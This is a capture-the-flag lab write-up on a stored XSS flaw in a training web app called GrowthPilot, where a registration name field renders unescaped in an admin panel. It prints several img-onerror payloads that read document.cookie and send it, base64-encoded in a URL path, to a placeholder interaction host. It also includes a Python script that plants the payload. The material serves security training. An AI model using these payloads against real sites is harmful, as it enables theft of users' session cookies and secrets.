Lab 66 — GrowthPilot — Stored XSS via User Registration
Lab 66 — GrowthPilot — Stored XSS via User Registration
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: admin_bot_exploitation, base64_path_encoding_for_oob_exfiltration, cookie_exfiltration_via_document_cookie, decoy_flag_avoidance, stored_xss_via_registration_fullname
Summary
Task: Workforce management SaaS with user registration reviewed by admin bot; fullName field is HTML-escaped on user dashboard but rendered unescaped in admin panel. Solution: Stored XSS via img onerror in fullName field, cookie exfiltrated via base64-encoded URL path to Interaction Server (query strings stripped from logs).
Lab 66 — GrowthPilot — Stored XSS via User Registration — HackAdvisor
Description
You are testing GrowthPilot, a workforce management SaaS platform built by ForgeWorks Inc. The application is used by growing companies to onboard and manage their team members. It features user registration, personalized dashboards, profile management, and an integrated support ticket system.
A dedicated platform administrator actively monitors the application and reviews all new user registrations through an internal admin panel. The admin's browser holds a secret flag as a cookie.
Your objective is to find a way to steal the admin's secret flag stored in their browser cookies.
Credentials: user@test.com / password123
English summary: A Node.js/Express workforce management platform where new user registrations are reviewed by an admin bot. The fullName field from the signup form is HTML-escaped on the user's own dashboard but rendered unescaped in the admin panel at /admin/users. The goal is to steal the admin's flag cookie via stored XSS.
Analysis
Application Architecture
- Stack: Express.js with EJS templates, behind nginx/1.25.5
- Session:
connect.sidcookie (HttpOnly, Secure, SameSite=Lax) - Flag storage: Separate
admin_flagcookie (not HttpOnly — readable viadocument.cookie) - Credentials: user@test.com / password123
Key endpoints:
| Endpoint | Purpose |
|---|---|
/signup | User registration (fullName, email, password, company) |
/dashboard | User dashboard — fullName is HTML-escaped here |
/admin/users | Admin panel — fullName rendered unescaped (403 for regular users) |
/robots.txt | Disallows /admin/ and /api/ |
Vulnerability: Differential Output Encoding
The fullName field from the signup form is stored as-is in the database. It is rendered in two places with different encoding:
- User dashboard (
/dashboard): HTML-escaped →<img src=x onerror=...>— safe - Admin panel (
/admin/users): Rendered unescaped →<img src=x onerror=...>— XSS
An admin bot periodically visits http://localhost:8080/admin/users to review new registrations, triggering any stored XSS in the fullName field.
Decoy Flags
Every page contains a decoy flag in the HTML source: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. These are honeypots designed to trap automated tools and should be ignored.
Exfiltration Constraints
The HackAdvisor Interaction Server has a critical limitation:
| Method | Result |
|---|---|
Query string (?c=...) | Stripped from logs — data appears empty |
| POST body | Not displayed in logs |
| URL path segments | Visible in logs — working exfiltration channel |
This means fetch('http://interact/UUID/xss?c='+document.cookie) fires a callback but the cookie data is invisible in the logs. Data must be encoded into the URL path instead.
Solution
Step 1: Confirm XSS Injection Point
Registered a test user with <img src=x onerror=fetch('http://INTERACT_URL/UUID/test1')> in the fullName field. The Interaction Server received a callback — confirming the admin bot renders the field unescaped.
Step 2: Discover Query String Stripping
Initial exfiltration attempts used query parameters:
<img src=x onerror="fetch('http://INTERACT_URL/UUID/xss?c='+document.cookie)">
The callback arrived but with no visible query string in the logs. This initially suggested document.cookie was empty — a false lead.
Step 3: Exfiltrate Admin's Location via Path Encoding
To verify the admin bot's context, exfiltrated location.href via base64-encoded path:
html read-only • copy allowed<img src=x onerror="var l=btoa(location.href).replace(/\//g,'_');fetch('http://INTERACT_URL/UUID/path1/'+l)">
Decoded result: http://localhost:8080/admin/users — confirmed the admin bot's page.
Step 4: Exfiltrate Cookies via Path Encoding
The winning payload encodes document.cookie as a base64 URL path segment:
html read-only • copy allowed<img src=x onerror="var c=document.cookie||'EMPTY';var e=btoa(c).replace(/\//g,'_').replace(/\+/g,'-');fetch('http://INTERACT_URL/UUID/cookie/'+e)">
Base64 characters / and + are replaced with _ and - respectively to keep the data in a valid URL path segment.
Step 5: Register and Capture
Registered a new user with the payload in the fullName field. The admin bot reviewed the registration at /admin/users, the XSS fired, and the Interaction Server received:
GET /cookie/YWRtaW5fZmxhZz1GTEFHezU5NzkwZWU1MzY1NzdlMjEwMzI4NDkwM2NlMGE3ZjVjfQ==
Decoding the base64 (reversing _ → / and - → +):
admin_flag=FLAG{REDACTED}
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ GrowthPilot Lab 66 — Stored XSS via User Registration fullName Field Exploits unescaped rendering in admin panel at /admin/users. Exfiltrates admin's flag cookie via base64-encoded URL path to Interaction Server. """ import requests TARGET = "https://TARGET.labs.hackadvisor.io" INTERACT_URL = "http://INTERACT_HOST/UUID" # Step 1: Build XSS payload with base64 path exfiltration # - document.cookie is base64-encoded # - / and + replaced to keep valid URL path # - Sent as path segment (not query string — logs strip those) xss_payload = ( '<img src=x onerror="' "var c=document.cookie||'EMPTY';" "var e=btoa(c).replace(/\\//g,'_').replace(/\\+/g,'-');" f"fetch('{INTERACT_URL}/cookie/'+e)" '">' ) # Step 2: Register a new user with XSS in fullName s = requests.Session() r = s.post(f"{TARGET}/signup", data={ "fullName": xss_payload, "email": "xss-exfil@test.com", "password": "password123", "company": "TestCorp" }) print(f"[*] Signup response: {r.status_code}") print("[*] Wait for admin bot to visit /admin/users and check Interaction Server logs") print("[*] Decode the base64 path segment (reverse _ -> / and - -> +) to get the cookie")
What Didn't Work
| Attempt | Why It Failed |
|---|---|
fetch(URL + '?c=' + document.cookie) | Interaction Server logs strip query strings — cookie data invisible |
fetch(URL, {method:'POST', body:...}) | POST bodies not displayed in Interaction Server logs |
<script> tags in fullName | Worked but <img onerror> was more reliable across contexts |
Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} | Honeypot embedded in HTML source on every page |
| |